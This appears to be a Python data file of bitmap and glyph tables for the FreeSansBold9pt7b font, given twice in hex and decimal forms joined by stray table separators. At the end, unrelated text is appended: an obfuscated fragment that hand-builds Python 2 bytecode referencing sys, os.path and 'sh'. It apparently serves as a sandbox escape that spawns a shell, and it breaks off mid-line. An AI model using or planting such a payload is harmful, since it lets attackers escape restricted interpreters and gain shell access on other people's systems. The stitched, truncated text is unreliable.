0x3C, 0x7F, 0xE7, 0xE7, 0x07, 0x0C, 0x0E, 0x07, 0x07, 0xE7, 0xE7, 0x7E,
0x3C, 0x0E, 0x1E, 0x1E, 0x2E, 0x2E, 0x4E, 0x4E, 0x8E, 0xFF, 0xFF, 0x0E,
0x0E, 0x0E, 0x7F, 0x3F, 0x90, 0x18, 0x0D, 0xE7, 0xFB, 0x9E, 0x07, 0x03,
0x81, 0xF1, 0xFF, 0xE7, 0xC0, 0x3E, 0x3F, 0x9C, 0xFC, 0x0E, 0xE7, 0xFB,
0xDF, 0xC7, 0xE3, 0xF1, 0xDD, 0xEF, 0xE3, 0xE0, 0xFF, 0xFF, 0xC0, 0xE0,
0xE0, 0x60, 0x70, 0x30, 0x38, 0x1C, 0x0C, 0x0E, 0x07, 0x03, 0x80, 0x3F,
0x1F, 0xEE, 0x3F, 0x87, 0xE3, 0xCF, 0xC7, 0xFB, 0xCF, 0xE1, 0xF8, 0x7F,
0x3D, 0xFE, 0x3F, 0x00, 0x3E, 0x3F, 0xBD, 0xDC, 0x7E, 0x3F, 0x1F, 0xDE,
0xFF, 0x3B, 0x81, 0xF9, 0xCF, 0xE3, 0xC0, 0xFC, 0x00, 0x07, 0xE0, 0xFC,
0x00, 0x07, 0xE5, 0xE0, 0x00, 0x83, 0xC7, 0xDF, 0x0C, 0x07, 0x80, 0xF8,
0x1F, 0x01, 0x80, 0xFF, 0xFF, 0xC0, 0x00, 0x0F, 0xFF, 0xFC, 0x00, 0x70,
0x3F, 0x03, 0xE0, 0x38, 0x7D, 0xF1, 0xE0, 0x80, 0x00, 0x3E, 0x3F, 0xB8,
0xFC, 0x70, 0x38, 0x1C, 0x1C, 0x1C, 0x1C, 0x0E, 0x00, 0x03, 0x81, 0xC0,
0x03, 0xF0, 0x0F, 0xFC, 0x1E, 0x0E, 0x38, 0x02, 0x70, 0xE9, 0x63, 0x19,
0xC2, 0x19, 0xC6, 0x11, 0xC6, 0x33, 0xC6, 0x32, 0x63, 0xFE, 0x73, 0xDC,
0x3C, 0x00, 0x1F, 0xF8, 0x07, 0xF0, 0x07, 0x00, 0xF0, 0x0F, 0x80, 0xF8,
0x1D, 0x81, 0x9C, 0x19, 0xC3, 0x8C, 0x3F, 0xE7, 0xFE, 0x70, 0x66, 0x07,
0xE0, 0x70, 0xFF, 0x9F, 0xFB, 0x83, 0xF0, 0x7E, 0x0F, 0xFF, 0x3F, 0xF7,
0x06, 0xE0, 0xFC, 0x1F, 0x83, 0xFF, 0xEF, 0xF8, 0x1F, 0x83, 0xFE, 0x78,
0xE7, 0x07, 0xE0, 0x0E, 0x00, 0xE0, 0x0E, 0x00, 0xE0, 0x07, 0x07, 0x78,
0xF3, 0xFE, 0x1F, 0x80, 0xFF, 0x8F, 0xFC, 0xE0, 0xEE, 0x0E, 0xE0, 0x7E,
0x07, 0xE0, 0x7E, 0x07, 0xE0, 0x7E, 0x0E, 0xE0, 0xEF, 0xFC, 0xFF, 0x80,
0xFF, 0xFF, 0xF8, 0x1C, 0x0E, 0x07, 0xFB, 0xFD, 0xC0, 0xE0, 0x70, 0x38,
0x1F, 0xFF, 0xF8, 0xFF, 0xFF, 0xF8, 0x1C, 0x0E, 0x07, 0xFB, 0xFD, 0xC0,
0xE0, 0x70, 0x38, 0x1C, 0x0E, 0x00, 0x0F, 0x87, 0xF9, 0xE3, 0xB8, 0x3E,
0x01, 0xC0, 0x38, 0xFF, 0x1F, 0xE0, 0x6E, 0x0D, 0xE3, 0x9F, 0xD0, 0xF2,
0xE0, 0xFC, 0x1F, 0x83, 0xF0, 0x7E, 0x0F, 0xFF, 0xFF, 0xFF, 0x07, 0xE0,
0xFC, 0x1F, 0x83, 0xF0, 0x7E, 0x0E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x07,
0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0xE7, 0xE7, 0xE7, 0x7E, 0x3C,
0xE0, 0xEE, 0x1C, 0xE3, 0x8E, 0x70, 0xEE, 0x0F, 0xC0, 0xFE, 0x0F, 0x70,
0xE7, 0x0E, 0x38, 0xE1, 0xCE, 0x0E, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0,
0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xFF, 0xFF, 0xF8, 0x7F, 0xE1,
0xFF, 0x87, 0xFE, 0x1F, 0xEC, 0x7F, 0xB3, 0x7E, 0xCD, 0xFB, 0x37, 0xEC,
0xDF, 0x9E, 0x7E, 0x79, 0xF9, 0xE7, 0xE7, 0x9C, 0xE0, 0xFE, 0x1F, 0xC3,
0xFC, 0x7F, 0xCF, 0xD9, 0xFB, 0xBF, 0x37, 0xE7, 0xFC, 0x7F, 0x87, 0xF0,
0xFE, 0x0E, 0x0F, 0x81, 0xFF, 0x1E, 0x3C, 0xE0, 0xEE, 0x03, 0xF0, 0x1F,
0x80, 0xFC, 0x07, 0xE0, 0x3B, 0x83, 0x9E, 0x3C, 0x7F, 0xC0, 0xF8, 0x00,
0xFF, 0x9F, 0xFB, 0x87, 0xF0, 0x7E, 0x0F, 0xC3, 0xFF, 0xF7, 0xFC, 0xE0,
0x1C, 0x03, 0x80, 0x70, 0x0E, 0x00, 0x0F, 0x81, 0xFF, 0x1E, 0x3C, 0xE0,
0xEE, 0x03, 0xF0, 0x1F, 0x80, 0xFC, 0x07, 0xE1, 0xBB, 0x8F, 0x9E, 0x3C,
0x7F, 0xE0, 0xFB, 0x80, 0x08, 0xFF, 0x8F, 0xFC, 0xE0, 0xEE, 0x0E, 0xE0,
0xEE, 0x0E, 0xFF, 0xCF, 0xFC, 0xE0, 0xEE, 0x0E, 0xE0, 0xEE, 0x0E, 0xE0,
0xF0, 0x3F, 0x0F, 0xFB, 0xC7, 0xF0, 0x7E, 0x01, 0xFC, 0x1F, 0xF0, 0x3F,
0x00, 0xFC, 0x1D, 0xC7, 0xBF, 0xE1, 0xF8, 0xFF, 0xFF, 0xC7, 0x03, 0x81,
0xC0, 0xE0, 0x70, 0x38, 0x1C, 0x0E, 0x07, 0x03, 0x81, 0xC0, 0xE0, 0xFC,
0x1F, 0x83, 0xF0, 0x7E, 0x0F, 0xC1, 0xF8, 0x3F, 0x07, 0xE0, 0xFC, 0x1F,
0xC7, 0xBF, 0xE1, 0xF0, 0x60, 0x67, 0x0E, 0x70, 0xE3, 0x0C, 0x30, 0xC3,
0x9C, 0x19, 0x81, 0x98, 0x1F, 0x80, 0xF0, 0x0F, 0x00, 0xF0, 0x06, 0x00,
0x61, 0xC3, 0xB8, 0xE1, 0x9C, 0x70, 0xCE, 0x3C, 0xE3, 0x36, 0x71, 0x9B,
0x30, 0xED, 0x98, 0x36, 0x7C, 0x1B, 0x3C, 0x0F, 0x1E, 0x07, 0x8F, 0x01,
0xC3, 0x80, 0xE1, 0x80, 0x70, 0xE7, 0x8E, 0x39, 0xC1, 0xF8, 0x1F, 0x80,
0xF0, 0x07, 0x00, 0xF0, 0x1F, 0x81, 0x9C, 0x39, 0xC7, 0x0E, 0x70, 0xE0,
0xE0, 0xFC, 0x39, 0xC7, 0x18, 0xC3, 0xB8, 0x36, 0x07, 0xC0, 0x70, 0x0E,
0x01, 0xC0, 0x38, 0x07, 0x00, 0xE0, 0xFF, 0xFF, 0xC0, 0xE0, 0xE0, 0xF0,
0x70, 0x70, 0x70, 0x78, 0x38, 0x38, 0x1F, 0xFF, 0xF8, 0xFF, 0xEE, 0xEE,
0xEE, 0xEE, 0xEE, 0xEE, 0xEF, 0xF0, 0x86, 0x10, 0x86, 0x10, 0x84, 0x30,
0x84, 0x30, 0x80, 0xFF, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x7F, 0xF0,
0x18, 0x1C, 0x3C, 0x3E, 0x36, 0x66, 0x63, 0xC3, 0xFF, 0xC0, 0xCC, 0x3F,
0x1F, 0xEE, 0x38, 0x0E, 0x3F, 0x9E, 0xEE, 0x3B, 0x9E, 0xFF, 0x9E, 0xE0,
0xE0, 0x38, 0x0E, 0x03, 0xBC, 0xFF, 0xBC, 0xEE, 0x1F, 0x87, 0xE1, 0xF8,
0x7F, 0x3B, 0xFE, 0xEF, 0x00, 0x1F, 0x3F, 0xDC, 0x7C, 0x0E, 0x07, 0x03,
0x80, 0xE3, 0x7F, 0x8F, 0x00, 0x03, 0x81, 0xC0, 0xE7, 0x77, 0xFB, 0xBF,
0x8F, 0xC7, 0xE3, 0xF1, 0xFD, 0xEF, 0xF3, 0xB8, 0x3E, 0x3F, 0x9C, 0xDC,
0x3F, 0xFF, 0xFF, 0x81, 0xC3, 0x7F, 0x8F, 0x00, 0x3B, 0xDD, 0xFF, 0xB9,
0xCE, 0x73, 0x9C, 0xE7, 0x00, 0x3B, 0xBF, 0xDD, 0xFC, 0x7E, 0x3F, 0x1F,
0x8F, 0xEF, 0x7F, 0x9D, 0xC0, 0xFC, 0x77, 0xF1, 0xF0, 0xE0, 0x70, 0x38,
0x1D, 0xEF, 0xFF, 0x9F, 0x8F, 0xC7, 0xE3, 0xF1, 0xF8, 0xFC, 0x7E, 0x38,
0xFC, 0x7F, 0xFF, 0xFF, 0xFE, 0x77, 0x07, 0x77, 0x77, 0x77, 0x77, 0x77,
0x7F, 0xE0, 0xE0, 0x70, 0x38, 0x1C, 0x7E, 0x77, 0x73, 0xF1, 0xF8, 0xFE,
0x77, 0x39, 0xDC, 0x6E, 0x38, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xEF, 0x7B,
0xFF, 0xFE, 0x39, 0xF8, 0xE7, 0xE3, 0x9F, 0x8E, 0x7E, 0x39, 0xF8, 0xE7,
0xE3, 0x9F, 0x8E, 0x70, 0xEF, 0x7F, 0xF8, 0xFC, 0x7E, 0x3F, 0x1F, 0x8F,
0xC7, 0xE3, 0xF1, 0xC0, 0x1E, 0x1F, 0xE7, 0x3B, 0x87, 0xE1, 0xF8, 0x7E,
0x1D, 0xCE, 0x7F, 0x87, 0x80, 0xEF, 0x3F, 0xEF, 0x3B, 0x87, 0xE1, 0xF8,
0x7E, 0x1F, 0xCE, 0xFF, 0xBB, 0xCE, 0x03, 0x80, 0xE0, 0x38, 0x00, 0x3B,
0xBF, 0xFD, 0xFC, 0x7E, 0x3F, 0x1F, 0x8F, 0xEF, 0x7F, 0x9D, 0xC0, 0xE0,
0x70, 0x38, 0x1C, 0xEF, 0xFF, 0x38, 0xE3, 0x8E, 0x38, 0xE3, 0x80, 0x3E,
0x3F, 0xB8, 0xFC, 0x0F, 0xC3, 0xFC, 0x3F, 0xC7, 0xFF, 0x1F, 0x00, 0x73,
0xBF, 0xF7, 0x39, 0xCE, 0x73, 0x9E, 0x70, 0xE3, 0xF1, 0xF8, 0xFC, 0x7E,
0x3F, 0x1F, 0x8F, 0xC7, 0xFF, 0xBD, 0xC0, 0xE1, 0x98, 0x67, 0x39, 0xCC,
0x33, 0x0D, 0xC3, 0xE0, 0x78, 0x1E, 0x07, 0x00, 0xE3, 0x1D, 0x9E, 0x66,
0x79, 0x99, 0xE6, 0x77, 0xB8, 0xD2, 0xC3, 0xCF, 0x0F, 0x3C, 0x3C, 0xF0,
0x73, 0x80, 0x73, 0x9C, 0xE3, 0xF0, 0x78, 0x1E, 0x07, 0x81, 0xE0, 0xFC,
0x73, 0x9C, 0xE0, 0xE1, 0xD8, 0x67, 0x39, 0xCE, 0x33, 0x0E, 0xC3, 0xE0,
0x78, 0x1E, 0x03, 0x00, 0xC0, 0x70, 0x38, 0x0E, 0x00, 0xFE, 0xFE, 0x0E,
0x1C, 0x38, 0x38, 0x70, 0xE0, 0xFF, 0xFF, 0x37, 0x66, 0x66, 0x6E, 0xE6,
0x66, 0x66, 0x67, 0x30, 0xFF, 0xFF, 0x80, 0xCE, 0x66, 0x66, 0x67, 0x76,
0x66, 0x66, 0x6E, 0xC0, 0x71, 0x8E ]
FreeSansBold9pt7bGlyphs = [
[ 0, 0, 0, 5, 0, 1 ], # 0x20 ' '
[ 0, 3, 13, 6, 2, -12 ], # 0x21 '!'
[ 5, 7, 5, 9, 1, -12 ], # 0x22 '"'
[ 10, 10, 12, 10, 0, -11 ], # 0x23 '#'
[ 25, 9, 15, 10, 1, -13 ], # 0x24 '$'
[ 42, 16, 13, 16, 0, -12 ], # 0x25 '%'
[ 68, 12, 13, 13, 1, -12 ], # 0x26 '&'
[ 88, 3, 5, 5, 1, -12 ], # 0x27 '''
[ 90, 6, 17, 6, 1, -12 ], # 0x28 '('
[ 103, 6, 17, 6, 0, -12 ], # 0x29 ')'
[ 116, 5, 6, 7, 1, -12 ], # 0x2A '#'
[ 120, 7, 8, 11, 2, -7 ], # 0x2B '+'
[ 127, 3, 5, 4, 1, -1 ], # 0x2C ','
[ 129, 5, 2, 6, 0, -5 ], # 0x2D '-'
[ 131, 3, 2, 4, 1, -1 ], # 0x2E '.'
[ 132, 5, 13, 5, 0, -12 ], # 0x2F '/'
[ 141, 9, 13, 10, 1, -12 ], # 0x30 '0'
[ 156, 5, 13, 10, 2, -12 ], # 0x31 '1'
[ 165, 9, 13, 10, 1, -12 ], # 0x32 '2'
[ 180, 8, 13, 10, 1, -12 ], # 0x33 '3'
[ 193, 8, 13, 10, 2, -12 ], # 0x34 '4'
[ 206, 9, 13, 10, 1, -12 ], # 0x35 '5'
[ 221, 9, 13, 10, 1, -12 ], # 0x36 '6'
[ 236, 9, 13, 10, 0, -12 ], # 0x37 '7'
[ 251, 10, 13, 10, 0, -12 ], # 0x38 '8'
[ 268, 9, 13, 10, 1, -12 ], # 0x39 '9'
[ 283, 3, 9, 4, 1, -8 ], # 0x3A ':'
[ 287, 3, 12, 4, 1, -8 ], # 0x3B ''
[ 292, 9, 9, 11, 1, -8 ], # 0x3C '<'
[ 303, 9, 6, 11, 1, -6 ], # 0x3D '='
[ 310, 9, 9, 11, 1, -8 ], # 0x3E '>'
[ 321, 9, 13, 11, 1, -12 ], # 0x3F '?'
[ 336, 16, 15, 18, 0, -12 ], # 0x40 '@'
[ 366, 12, 13, 13, 0, -12 ], # 0x41 'A'
[ 386, 11, 13, 13, 1, -12 ], # 0x42 'B'
[ 404, 12, 13, 13, 1, -12 ], # 0x43 'C'
[ 424, 12, 13, 13, 1, -12 ], # 0x44 'D'
[ 444, 9, 13, 12, 1, -12 ], # 0x45 'E'
[ 459, 9, 13, 11, 1, -12 ], # 0x46 'F'
[ 474, 11, 13, 14, 1, -12 ], # 0x47 'G'
[ 492, 11, 13, 13, 1, -12 ], # 0x48 'H'
[ 510, 3, 13, 6, 1, -12 ], # 0x49 'I'
[ 515, 8, 13, 10, 1, -12 ], # 0x4A 'J'
[ 528, 12, 13, 13, 1, -12 ], # 0x4B 'K'
[ 548, 8, 13, 11, 1, -12 ], # 0x4C 'L'
[ 561, 14, 13, 16, 1, -12 ], # 0x4D 'M'
[ 584, 11, 13, 14, 1, -12 ], # 0x4E 'N'
[ 602, 13, 13, 14, 1, -12 ], # 0x4F 'O'
[ 624, 11, 13, 12, 1, -12 ], # 0x50 'P'
[ 642, 13, 14, 14, 1, -12 ], # 0x51 'Q'
[ 665, 12, 13, 13, 1, -12 ], # 0x52 'R'
[ 685, 11, 13, 12, 1, -12 ], # 0x53 'S'
[ 703, 9, 13, 12, 2, -12 ], # 0x54 'T'
[ 718, 11, 13, 13, 1, -12 ], # 0x55 'U'
[ 736, 12, 13, 12, 0, -12 ], # 0x56 'V'
[ 756, 17, 13, 17, 0, -12 ], # 0x57 'W'
[ 784, 12, 13, 12, 0, -12 ], # 0x58 'X'
[ 804, 11, 13, 12, 1, -12 ], # 0x59 'Y'
[ 822, 9, 13, 11, 1, -12 ], # 0x5A 'Z'
[ 837, 4, 17, 6, 1, -12 ], # 0x5B '['
[ 846, 5, 13, 5, 0, -12 ], # 0x5C '\'
[ 855, 4, 17, 6, 0, -12 ], # 0x5D ']'
[ 864, 8, 8, 11, 1, -12 ], # 0x5E '^'
[ 872, 10, 1, 10, 0, 4 ], # 0x5F '_'
[ 874, 3, 2, 5, 0, -12 ], # 0x60 '`'
[ 875, 10, 10, 10, 1, -9 ], # 0x61 'a'
[ 888, 10, 13, 11, 1, -12 ], # 0x62 'b'
[ 905, 9, 10, 10, 1, -9 ], # 0x63 'c'
[ 917, 9, 13, 11, 1, -12 ], # 0x64 'd'
[ 932, 9, 10, 10, 1, -9 ], # 0x65 'e'
[ 944, 5, 13, 6, 1, -12 ], # 0x66 'f'
[ 953, 9, 14, 11, 1, -9 ], # 0x67 'g'
[ 969, 9, 13, 11, 1, -12 ], # 0x68 'h'
[ 984, 3, 13, 5, 1, -12 ], # 0x69 'i'
[ 989, 4, 17, 5, 0, -12 ], # 0x6A 'j'
[ 998, 9, 13, 10, 1, -12 ], # 0x6B 'k'
[ 1013, 3, 13, 5, 1, -12 ], # 0x6C 'l'
[ 1018, 14, 10, 16, 1, -9 ], # 0x6D 'm'
[ 1036, 9, 10, 11, 1, -9 ], # 0x6E 'n'
[ 1048, 10, 10, 11, 1, -9 ], # 0x6F 'o'
[ 1061, 10, 14, 11, 1, -9 ], # 0x70 'p'
[ 1079, 9, 14, 11, 1, -9 ], # 0x71 'q'
[ 1095, 6, 10, 7, 1, -9 ], # 0x72 'r'
[ 1103, 9, 10, 10, 1, -9 ], # 0x73 's'
[ 1115, 5, 12, 6, 1, -11 ], # 0x74 't'
[ 1123, 9, 10, 11, 1, -9 ], # 0x75 'u'
[ 1135, 10, 10, 10, 0, -9 ], # 0x76 'v'
[ 1148, 14, 10, 14, 0, -9 ], # 0x77 'w'
[ 1166, 10, 10, 10, 0, -9 ], # 0x78 'x'
[ 1179, 10, 14, 10, 0, -9 ], # 0x79 'y'
[ 1197, 8, 10, 9, 1, -9 ], # 0x7A 'z'
[ 1207, 4, 17, 7, 1, -12 ], # 0x7B '['
[ 1216, 1, 17, 5, 2, -12 ], # 0x7C '|'
[ 1219, 4, 17, 7, 2, -12 ], # 0x7D ']'
[ 1228, 8, 2, 9, 0, -4 ] ] # 0x7E '~'
FreeSansBold9pt7b = [
FreeSansBold9pt7bBitmaps,
FreeSansBold9pt7bGlyphs,
0x20, 0x7E, 22 ]
# Approx. 1902 bytes
| free_sans_bold9pt7b_bitmaps = [255, 255, 254, 72, 126, 239, 223, 191, 116, 64, 25, 134, 103, 253, 255, 51, 12, 195, 51, 254, 255, 153, 134, 97, 144, 16, 31, 31, 222, 255, 63, 131, 192, 252, 31, 9, 252, 254, 247, 241, 224, 64, 56, 16, 124, 48, 198, 32, 198, 64, 198, 64, 124, 128, 57, 156, 1, 62, 3, 99, 2, 99, 4, 99, 12, 62, 8, 28, 14, 1, 248, 59, 131, 184, 63, 1, 224, 62, 103, 118, 227, 238, 28, 243, 199, 254, 63, 112, 255, 244, 24, 99, 28, 115, 142, 56, 227, 142, 24, 112, 195, 6, 8, 97, 131, 14, 56, 113, 199, 28, 113, 198, 56, 227, 24, 64, 33, 62, 69, 40, 56, 112, 231, 255, 231, 14, 28, 252, 156, 255, 192, 252, 8, 196, 35, 16, 132, 98, 17, 136, 0, 62, 63, 157, 220, 126, 63, 31, 143, 199, 227, 241, 221, 207, 227, 224, 8, 255, 243, 156, 231, 57, 206, 115, 128, 62, 63, 184, 252, 112, 56, 28, 28, 28, 28, 28, 28, 15, 247, 248, 60, 127, 231, 231, 7, 12, 14, 7, 7, 231, 231, 126, 60, 14, 30, 30, 46, 46, 78, 78, 142, 255, 255, 14, 14, 14, 127, 63, 144, 24, 13, 231, 251, 158, 7, 3, 129, 241, 255, 231, 192, 62, 63, 156, 252, 14, 231, 251, 223, 199, 227, 241, 221, 239, 227, 224, 255, 255, 192, 224, 224, 96, 112, 48, 56, 28, 12, 14, 7, 3, 128, 63, 31, 238, 63, 135, 227, 207, 199, 251, 207, 225, 248, 127, 61, 254, 63, 0, 62, 63, 189, 220, 126, 63, 31, 222, 255, 59, 129, 249, 207, 227, 192, 252, 0, 7, 224, 252, 0, 7, 229, 224, 0, 131, 199, 223, 12, 7, 128, 248, 31, 1, 128, 255, 255, 192, 0, 15, 255, 252, 0, 112, 63, 3, 224, 56, 125, 241, 224, 128, 0, 62, 63, 184, 252, 112, 56, 28, 28, 28, 28, 14, 0, 3, 129, 192, 3, 240, 15, 252, 30, 14, 56, 2, 112, 233, 99, 25, 194, 25, 198, 17, 198, 51, 198, 50, 99, 254, 115, 220, 60, 0, 31, 248, 7, 240, 7, 0, 240, 15, 128, 248, 29, 129, 156, 25, 195, 140, 63, 231, 254, 112, 102, 7, 224, 112, 255, 159, 251, 131, 240, 126, 15, 255, 63, 247, 6, 224, 252, 31, 131, 255, 239, 248, 31, 131, 254, 120, 231, 7, 224, 14, 0, 224, 14, 0, 224, 7, 7, 120, 243, 254, 31, 128, 255, 143, 252, 224, 238, 14, 224, 126, 7, 224, 126, 7, 224, 126, 14, 224, 239, 252, 255, 128, 255, 255, 248, 28, 14, 7, 251, 253, 192, 224, 112, 56, 31, 255, 248, 255, 255, 248, 28, 14, 7, 251, 253, 192, 224, 112, 56, 28, 14, 0, 15, 135, 249, 227, 184, 62, 1, 192, 56, 255, 31, 224, 110, 13, 227, 159, 208, 242, 224, 252, 31, 131, 240, 126, 15, 255, 255, 255, 7, 224, 252, 31, 131, 240, 126, 14, 255, 255, 255, 255, 254, 7, 7, 7, 7, 7, 7, 7, 7, 231, 231, 231, 126, 60, 224, 238, 28, 227, 142, 112, 238, 15, 192, 254, 15, 112, 231, 14, 56, 225, 206, 14, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 224, 255, 255, 248, 127, 225, 255, 135, 254, 31, 236, 127, 179, 126, 205, 251, 55, 236, 223, 158, 126, 121, 249, 231, 231, 156, 224, 254, 31, 195, 252, 127, 207, 217, 251, 191, 55, 231, 252, 127, 135, 240, 254, 14, 15, 129, 255, 30, 60, 224, 238, 3, 240, 31, 128, 252, 7, 224, 59, 131, 158, 60, 127, 192, 248, 0, 255, 159, 251, 135, 240, 126, 15, 195, 255, 247, 252, 224, 28, 3, 128, 112, 14, 0, 15, 129, 255, 30, 60, 224, 238, 3, 240, 31, 128, 252, 7, 225, 187, 143, 158, 60, 127, 224, 251, 128, 8, 255, 143, 252, 224, 238, 14, 224, 238, 14, 255, 207, 252, 224, 238, 14, 224, 238, 14, 224, 240, 63, 15, 251, 199, 240, 126, 1, 252, 31, 240, 63, 0, 252, 29, 199, 191, 225, 248, 255, 255, 199, 3, 129, 192, 224, 112, 56, 28, 14, 7, 3, 129, 192, 224, 252, 31, 131, 240, 126, 15, 193, 248, 63, 7, 224, 252, 31, 199, 191, 225, 240, 96, 103, 14, 112, 227, 12, 48, 195, 156, 25, 129, 152, 31, 128, 240, 15, 0, 240, 6, 0, 97, 195, 184, 225, 156, 112, 206, 60, 227, 54, 113, 155, 48, 237, 152, 54, 124, 27, 60, 15, 30, 7, 143, 1, 195, 128, 225, 128, 112, 231, 142, 57, 193, 248, 31, 128, 240, 7, 0, 240, 31, 129, 156, 57, 199, 14, 112, 224, 224, 252, 57, 199, 24, 195, 184, 54, 7, 192, 112, 14, 1, 192, 56, 7, 0, 224, 255, 255, 192, 224, 224, 240, 112, 112, 112, 120, 56, 56, 31, 255, 248, 255, 238, 238, 238, 238, 238, 238, 239, 240, 134, 16, 134, 16, 132, 48, 132, 48, 128, 255, 119, 119, 119, 119, 119, 119, 127, 240, 24, 28, 60, 62, 54, 102, 99, 195, 255, 192, 204, 63, 31, 238, 56, 14, 63, 158, 238, 59, 158, 255, 158, 224, 224, 56, 14, 3, 188, 255, 188, 238, 31, 135, 225, 248, 127, 59, 254, 239, 0, 31, 63, 220, 124, 14, 7, 3, 128, 227, 127, 143, 0, 3, 129, 192, 231, 119, 251, 191, 143, 199, 227, 241, 253, 239, 243, 184, 62, 63, 156, 220, 63, 255, 255, 129, 195, 127, 143, 0, 59, 221, 255, 185, 206, 115, 156, 231, 0, 59, 191, 221, 252, 126, 63, 31, 143, 239, 127, 157, 192, 252, 119, 241, 240, 224, 112, 56, 29, 239, 255, 159, 143, 199, 227, 241, 248, 252, 126, 56, 252, 127, 255, 255, 254, 119, 7, 119, 119, 119, 119, 119, 127, 224, 224, 112, 56, 28, 126, 119, 115, 241, 248, 254, 119, 57, 220, 110, 56, 255, 255, 255, 255, 254, 239, 123, 255, 254, 57, 248, 231, 227, 159, 142, 126, 57, 248, 231, 227, 159, 142, 112, 239, 127, 248, 252, 126, 63, 31, 143, 199, 227, 241, 192, 30, 31, 231, 59, 135, 225, 248, 126, 29, 206, 127, 135, 128, 239, 63, 239, 59, 135, 225, 248, 126, 31, 206, 255, 187, 206, 3, 128, 224, 56, 0, 59, 191, 253, 252, 126, 63, 31, 143, 239, 127, 157, 192, 224, 112, 56, 28, 239, 255, 56, 227, 142, 56, 227, 128, 62, 63, 184, 252, 15, 195, 252, 63, 199, 255, 31, 0, 115, 191, 247, 57, 206, 115, 158, 112, 227, 241, 248, 252, 126, 63, 31, 143, 199, 255, 189, 192, 225, 152, 103, 57, 204, 51, 13, 195, 224, 120, 30, 7, 0, 227, 29, 158, 102, 121, 153, 230, 119, 184, 210, 195, 207, 15, 60, 60, 240, 115, 128, 115, 156, 227, 240, 120, 30, 7, 129, 224, 252, 115, 156, 224, 225, 216, 103, 57, 206, 51, 14, 195, 224, 120, 30, 3, 0, 192, 112, 56, 14, 0, 254, 254, 14, 28, 56, 56, 112, 224, 255, 255, 55, 102, 102, 110, 230, 102, 102, 103, 48, 255, 255, 128, 206, 102, 102, 103, 118, 102, 102, 110, 192, 113, 142]
free_sans_bold9pt7b_glyphs = [[0, 0, 0, 5, 0, 1], [0, 3, 13, 6, 2, -12], [5, 7, 5, 9, 1, -12], [10, 10, 12, 10, 0, -11], [25, 9, 15, 10, 1, -13], [42, 16, 13, 16, 0, -12], [68, 12, 13, 13, 1, -12], [88, 3, 5, 5, 1, -12], [90, 6, 17, 6, 1, -12], [103, 6, 17, 6, 0, -12], [116, 5, 6, 7, 1, -12], [120, 7, 8, 11, 2, -7], [127, 3, 5, 4, 1, -1], [129, 5, 2, 6, 0, -5], [131, 3, 2, 4, 1, -1], [132, 5, 13, 5, 0, -12], [141, 9, 13, 10, 1, -12], [156, 5, 13, 10, 2, -12], [165, 9, 13, 10, 1, -12], [180, 8, 13, 10, 1, -12], [193, 8, 13, 10, 2, -12], [206, 9, 13, 10, 1, -12], [221, 9, 13, 10, 1, -12], [236, 9, 13, 10, 0, -12], [251, 10, 13, 10, 0, -12], [268, 9, 13, 10, 1, -12], [283, 3, 9, 4, 1, -8], [287, 3, 12, 4, 1, -8], [292, 9, 9, 11, 1, -8], [303, 9, 6, 11, 1, -6], [310, 9, 9, 11, 1, -8], [321, 9, 13, 11, 1, -12], [336, 16, 15, 18, 0, -12], [366, 12, 13, 13, 0, -12], [386, 11, 13, 13, 1, -12], [404, 12, 13, 13, 1, -12], [424, 12, 13, 13, 1, -12], [444, 9, 13, 12, 1, -12], [459, 9, 13, 11, 1, -12], [474, 11, 13, 14, 1, -12], [492, 11, 13, 13, 1, -12], [510, 3, 13, 6, 1, -12], [515, 8, 13, 10, 1, -12], [528, 12, 13, 13, 1, -12], [548, 8, 13, 11, 1, -12], [561, 14, 13, 16, 1, -12], [584, 11, 13, 14, 1, -12], [602, 13, 13, 14, 1, -12], [624, 11, 13, 12, 1, -12], [642, 13, 14, 14, 1, -12], [665, 12, 13, 13, 1, -12], [685, 11, 13, 12, 1, -12], [703, 9, 13, 12, 2, -12], [718, 11, 13, 13, 1, -12], [736, 12, 13, 12, 0, -12], [756, 17, 13, 17, 0, -12], [784, 12, 13, 12, 0, -12], [804, 11, 13, 12, 1, -12], [822, 9, 13, 11, 1, -12], [837, 4, 17, 6, 1, -12], [846, 5, 13, 5, 0, -12], [855, 4, 17, 6, 0, -12], [864, 8, 8, 11, 1, -12], [872, 10, 1, 10, 0, 4], [874, 3, 2, 5, 0, -12], [875, 10, 10, 10, 1, -9], [888, 10, 13, 11, 1, -12], [905, 9, 10, 10, 1, -9], [917, 9, 13, 11, 1, -12], [932, 9, 10, 10, 1, -9], [944, 5, 13, 6, 1, -12], [953, 9, 14, 11, 1, -9], [969, 9, 13, 11, 1, -12], [984, 3, 13, 5, 1, -12], [989, 4, 17, 5, 0, -12], [998, 9, 13, 10, 1, -12], [1013, 3, 13, 5, 1, -12], [1018, 14, 10, 16, 1, -9], [1036, 9, 10, 11, 1, -9], [1048, 10, 10, 11, 1, -9], [1061, 10, 14, 11, 1, -9], [1079, 9, 14, 11, 1, -9], [1095, 6, 10, 7, 1, -9], [1103, 9, 10, 10, 1, -9], [1115, 5, 12, 6, 1, -11], [1123, 9, 10, 11, 1, -9], [1135, 10, 10, 10, 0, -9], [1148, 14, 10, 14, 0, -9], [1166, 10, 10, 10, 0, -9], [1179, 10, 14, 10, 0, -9], [1197, 8, 10, 9, 1, -9], [1207, 4, 17, 7, 1, -12], [1216, 1, 17, 5, 2, -12], [1219, 4, 17, 7, 2, -12], [1228, 8, 2, 9, 0, -4]]
free_sans_bold9pt7b = [FreeSansBold9pt7bBitmaps, FreeSansBold9pt7bGlyphs, 32, 126, 22] |
s = '''
[setattr(f, 'func_code', type(f.func_code)(0, 0, 2, 67,
'd\\x06\\x00j\\x00\\x00j\\x01\\x00d\\x01\\x00\\x19j\\x02\\x00\\x83\\x00\\x00d\\x02\\x00\\x19j\\x03\\x00j\\x04\\x00d\\x03\\x00\\x19j\\x05\\x00d\\x04\\x00\\x19j\\x06\\x00j\\x07\\x00d\\x05\\x00\\x83\\x01\\x00\\x01d\\x00\\x00'
+ 's'.upper(),
([].append(1), 0, 59, 'sys', 'o' + 's.path', 'sh', ()), ('_' + '_cl' + 'ass_' + '_',
